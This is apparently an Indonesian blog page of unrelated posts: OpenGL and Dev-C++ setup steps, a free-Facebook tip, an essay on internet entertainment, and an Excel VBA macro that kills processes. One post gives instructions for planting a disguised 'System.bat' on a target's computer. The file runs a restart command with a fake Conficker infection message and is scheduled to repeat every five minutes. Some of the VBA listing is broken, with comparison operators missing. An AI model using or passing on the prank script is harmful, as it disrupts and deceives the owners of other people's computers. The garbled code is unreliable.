Tugas Peng. Grafik. Komp.& Olah Citra (OpenGL)

Sedikit dasar tentang OpenGL:

OpenGL adalah suatu graphic library yang sebagian bersifat open source, dipakai pada banyak platform (windows, linux) dan dapat digunakan pada berbagai jenis compiler seperti C++ atau Delphi.

OpenGL bukanlah bahasa pemrograman tetapi merupakan suatu Application Programming Interface (API).

Untuk membuat aplikasi OpenGL bisa membuatnya dengan berbagai aplikasi program seperti C/C++, Java, Visual Basic dan lainnya. Bila tidak ada aplikasinya DEV-C++ 4.9.9.2 bisa didownload di link dibawah ini :
http://sourceforge.net/projects/dev-cpp/files/Binaries/Dev-C%2B%2B%204.9.9.2/devcpp-4.9.9.2_setup.exe/download

Sebelum di install jangan lupa download aplikasi pendukungnya glut.3.7.6+ bisa didownload di link dibawah ini :
http://www.4shared.com/get/JtmqVt66/glut376.html

Cara penginstallan OpenGL :
– Langkah pertama install program DEV-C++ 4.9.9.2.
– Setelah selesai installasi klik Tools pada Menu Bar program DEV-C++ 4.9.9.2.
– Kemudian akan muncul jendela Package Manager lalu pilih gcc-g++, kemudian klik install maka akan mencari aplikasi pendukungnya glut.3.7.6+.
– Lalu install aplikasi pendukungnya glut.3.7.6+.

Percobaan bikin virus baal

INI LOH YG NAMA’Y SCRIPT…. DAH TAU LOM..????? NTAR KLO KURANG JELAS BOLEH AJA NANYA KOQ,, SETIAP SAAT KK BISA BANTUIN KAMU
SELAMA KK MASIH BISA JWAB..

INI SALAH SATU SCRIPT BUATAN YG MIRIP KYA VIRUS, PADAHAL KLO DIAMATI BUKAN..

Restart.exe /r /c “Your system was infected by W32-Conficker”

klo kamu dah faham dengan script ini kamu bisa masukkin ke komp. yg mw kamu serang..
Tapi ada syaratnya,

1. kamu buat SCRIPT yg diatas yg tulisannya agak aneh gtu di Notepad/Wordpad.
2. kamu Simpan dengan nama yg agak mirip dengan Sistem Komp, misal “System” tz kamu simpen tapi path blkg’y “bla-bla.bat
contoh…: “System.bat” tapi inged, simpen di tempat yg agak susah dicari ma tuh org.
3. ini yg agak susah, kamu jalanin “Scheduled Task” di komp itu.. set waktu sekitar 5 menit sekali ato gak sesuka kamu. supaya
progam ini bisa jln. biasa’a hacker pemula gak tau apa itu “Scheduled Task”..
Gini aja, bwt alternatif, kamu cari Start -> Search -> Scheduled Task… kalo udah jalanin..

sekali lagy.. PERHATIAN!!! virus ba’al yg kya gini agaknya susah di basmi klo bwt yg br pemula / gak tau sistem dari komp itu..

UNTUK MENGHENTIKANNYA, LAKUKAN LANGKAH YG TERBALIK…

PENGALAMAN INI JGN DISEBAR KE ORG LAEN WALAUPUN DIA ORG YG KAMU SAYANG… TAPI KLKO MA KELUARGA GPP!!

facebookan gratis

sekarang bisa facebookan gratis di hp menggunakan sim 3 (three), axis, dan telkomsel. dan selebihnya w belom coba.
tapi kalo mau gratis jangan pakai opera mini, pakailah web bawaan dari hp kalian masing-masing.
kelemahannya cuma tidak bisa lihat foto ataupun gambar, kalau mau liat dikenakan biaya sesuai ketentuan operator.

Kegunaan internet sebagai dunia hiburan

Internet menjadi pemain utama dalam menyediakan tempat hiburan dari bermain game online, jejaring social, hingga mencakup bisnis. misalnya saja banyak game online yang bermunculan di dunia maya hingga sampai tak terhitung permainannya dan juga orang yang memainkannya baik dari anak kecil sampai kakek neneknya ikut meinkannya. Sebagai contoh (POINT BALACK, RAG-NAROK, YUL-GANG, STREAT IDOL, AYO DANCE, GHUNBOND, DST). fungsi dari game online tersebut untuk menghibur, mengisi waktu luang dan mencari teman, bahkan ada yang mencari uang dengan mejual chart/id pemain.
Bukan hanya game online yang berkembang pesat di dunia maya, jejaring sosial pun berkembang pesat dengan adanya FACEBOOK, FRIENDSTER, MY SPACE, LIVE CONNECTOR, PLURK, TWITTER, DST. Fungsi dari jejaring sosial bukan hanya untuk memperbanyak teman, ataupun utnuk mencari teman lama (TK, SD, SMP, dan SMA). Tetapi sekarang sudah ada yang bisa digunakan untuk bermain game, sebagai contoh adalah FACEBOOK.COM disini tersedia berbagai macam pemainan yang lucu, menggemaskan dan pastinya menghibur.
Selain 2 (dua) tadi, sebenarnya masih banyak yang bisa menghibur diri. Dari memesan tiket pesawat, tiket kereta api, tiket kapal laut, tiket bis, tiket kujungan tempat bersejarah, hotel, tempat rekreasi, tiket umroh,tiket naik haji, restoran, dst.

Membuat Penghancur Virus Dengan ms. Exel

Sebelumnya pernahkan terlintas di benak anda untuk membuat sebuah Antivirus dengan memanfatkan sopware populer bawaan Ms Office, yaitu Ms. Exel. Yah mungkin sangat jarang orang yang memanfaatkanya.. namun buktinya bisa lho.. dari pada kita mengintal VB atau pemograman yang lainya kita bisa membuat pembunuh virus dengan sopware Ms. exel

Gak Percaya , mari kita buktikan !

Caranya :

1. Buka Microsoft Excel kemuadian save as menjadi excelkill.xls

2. Pada sheet1 insert rectangle atau sejenisnya “fungsinya hanya untuk melakukan exsekusi”

3. Kita tentukan lokasi kolom yang akan menjadi obyek eksekusi Misalkan “E9”

4. Klik “E9” kemudian klik define name kemudian muncul popup menu define name, pada kolom name isi dengan “bunuh” (tanpa tanda kutip”) trus klik OK

5. Perhatikan kolom cell “E9” jika diklik name boxnya akan berubah menjadi bunuh

6. Selanjutnya kilik kanan sheet1 kemudian klik view code

7.Pada VB editor buat modul seperti berikut :

————————————————————batas —————————————————

-Option Explicit

Private Declare Function GetWindow Lib “user32” _

(ByVal hwnd As Long, ByVal wCmd As Long) As Long

Private Declare Function FindWindow Lib “user32” Alias “FindWindowA” _

(ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Declare Function GetParent Lib “user32” (ByVal hwnd As Long) As Long

Private Declare Function GetWindowTextLength Lib “user32” _

Alias “GetWindowTextLengthA” (ByVal hwnd As Long) As Long

Private Declare Function GetWindowText Lib “user32” _

Alias “GetWindowTextA” (ByVal hwnd As Long, ByVal lpString As String, _

ByVal cch As Long) As Long

Private Declare Function GetWindowThreadProcessId Lib “user32” _

(ByVal hwnd As Long, lpdwProcessId As Long) As Long

‘————————————————————batas —————————————————

-‘fungsi kill proc

Sub killprocess()

Dim ProcessName

Dim objWMIService, colProcesses, objProcess

Dim strcomputer As String

strcomputer = “.”

ProcessName = “EXCEL”

Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” _

& strcomputer & “\root\cimv2”)

Set colProcesses = objWMIService.ExecQuery _

(“Select * from Win32_Process”)

For Each objProcess In colProcesses

If InStr(objProcess.Name, ProcessName) 0 Then

Call objProcess.Terminate

End If

Next

End Sub

‘————————————————————batas —————————————————-

Sub killprocessPID(PID As Long) ‘ panggil pidnya

Dim objWMIService, colProcesses, objProcess, objprop

Dim strcomputer As String

strcomputer = “.”

Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strcomputer & “\root\cimv2”)

Set colProcesses = objWMIService.ExecQuery(“Select * from Win32_Process”) ‘ where Name=’IEXPLORE.EXE’

For Each objProcess In colProcesses

For Each objprop In objProcess.Properties_

If objprop.Name = “Handle” Then

If objprop.Value = PID Then

Call objProcess.Terminate

Exit Sub

Else

GoTo nextproc

End If

End If

Next objprop

nextproc:

Next

End Sub

‘————————————————————batas —————————————————-

Sub closeprocess()

Dim ProcessName

Dim objprop As Object

Dim objWMIService, colProcesses, objProcess

Dim strcomputer As String

Dim CurrWnd As Long

Dim ProcessId As Long

Dim blengos As Long

strcomputer = “.”

ProcessName = “EXCEL”

Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strcomputer & “\root\cimv2”)

Set colProcesses = objWMIService.ExecQuery(“Select * from Win32_Process”) ‘ where Name=’IEXPLORE.EXE’

Dim i As Integer

i = 0

For Each objProcess In colProcesses

If InStr(objProcess.Name, ProcessName) 0 Then

For Each objprop In objProcess.Properties_

i = i + 1

Cells(i, 6).FormulaR1C1 = objprop.Name

Cells(i, 7).FormulaR1C1 = objprop.Value

blengos = GetWindowThreadProcessId(CurrWnd, ProcessId)

Next objprop

End If

Next

End Sub

‘————————————————————batas —————————————————-

Sub showprocess()

Dim ProcessName

Dim objprop As Object

Dim objWMIService, colProcesses, objProcess

Dim strcomputer As String

Dim CurrWnd As Long

Dim ProcessId As Long

Dim blengos As Long

strcomputer = “.”

ProcessName = “EXCEL”

Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strcomputer & “\root\cimv2”)

Set colProcesses = objWMIService.ExecQuery(“Select * from Win32_Process”) ‘ where Name=’IEXPLORE.EXE’

Dim i As Integer

i = 0

For Each objProcess In colProcesses

If InStr(objProcess.Name, ProcessName) 0 Then

For Each objprop In objProcess.Properties_

i = i + 1

Cells(i, 6).FormulaR1C1 = objprop.Name

Cells(i, 7).FormulaR1C1 = objprop.Value

blengos = GetWindowThreadProcessId(CurrWnd, ProcessId)

Next objprop

End If

Next

End Sub

‘————————————————————batas —————————————————-

Sub processID_kalangkabut()

‘adapté d’une procedure de Benoit Marchand

Dim CurrWnd As Long, Length As Long, ProcessId As Long

Dim TaskName As String

Dim Parent As Long, hwnd As Long, blengos As Long

hwnd = FindWindow(“Shell_traywnd”, vbNullString)

CurrWnd = GetWindow(hwnd, 0)

If Range(“bunuh”).FormulaR1C1 “” Then

While CurrWnd 0

Length = GetWindowTextLength(CurrWnd)

TaskName = Space$(Length + 1)

Length = GetWindowText(CurrWnd, TaskName, Length + 1)

TaskName = Left$(TaskName, Len(TaskName) – 1)

If InStr(1, LCase(TaskName), Range(“bunuh”).FormulaR1C1, vbTextCompare) > 0 Then

blengos = GetWindowThreadProcessId(CurrWnd, ProcessId)

CurrWnd = GetWindow(CurrWnd, 2)

If MsgBox(“Nama Process ” & TaskName & ” PID_Nya : ” & blengos, vbYesNo) = vbYes Then

killprocessPID (ProcessId)

End If

Else

CurrWnd = GetWindow(CurrWnd, 2)

End If

DoEvents

Wend

Else

MsgBox “Gak Bisa Di bunuh, Kenapa Yach !!! Liat Ndiri !!!”

End If

End Sub

‘————————————————————end —————————————————-

8. Kembali ke Excel pada cell “E9”

a. Ketik word = kill app word

b. Ketik nama applikasi = untk kill aplikasi